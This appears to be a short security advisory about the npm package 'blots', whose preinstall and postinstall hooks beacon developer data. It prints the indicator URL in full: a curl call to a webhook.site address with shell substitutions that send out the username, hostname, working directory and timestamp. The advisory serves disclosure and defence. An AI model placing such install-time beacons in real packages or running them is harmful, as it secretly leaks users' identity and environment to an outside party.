GCVE-110-OSM-2026-9202

This package contains preinstall and postinstall hooks that curl a webhook.site URL with shell command substitutions exfiltrating the victim's username (`$(whoami)`), hostname (`$(hostname)`), current directory (`$PWD`), and timestamp (`$(date`). The IOC `https://webhook.site/d80b4602-8a87-4693-8510-6ff77c62788e/blots?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date` is plaintext in package.json, confirming this is classic install-time environment reconnaissance exfiltration. The attacker model is supply-chain compromise: any developer running `npm install blots` silently beacons their identity and working directory to an attacker-controlled webhook. The publisher account is ~3.5 years old with 6 packages and no prior malicious history, suggesting either account compromise or intentional malicious publishing of this specific version. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -s \"" - Postinstall Script in package.json: ""postinstall": "curl -s \"" DESTINATION - webhookServices: https://webhook.site/d80b4602-8a87-4693-8510-6ff77c62788e/blots?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date (exfil, plaintext) EXFIL - OAST/Interactsh Exfiltration in package.json: "webhook.site"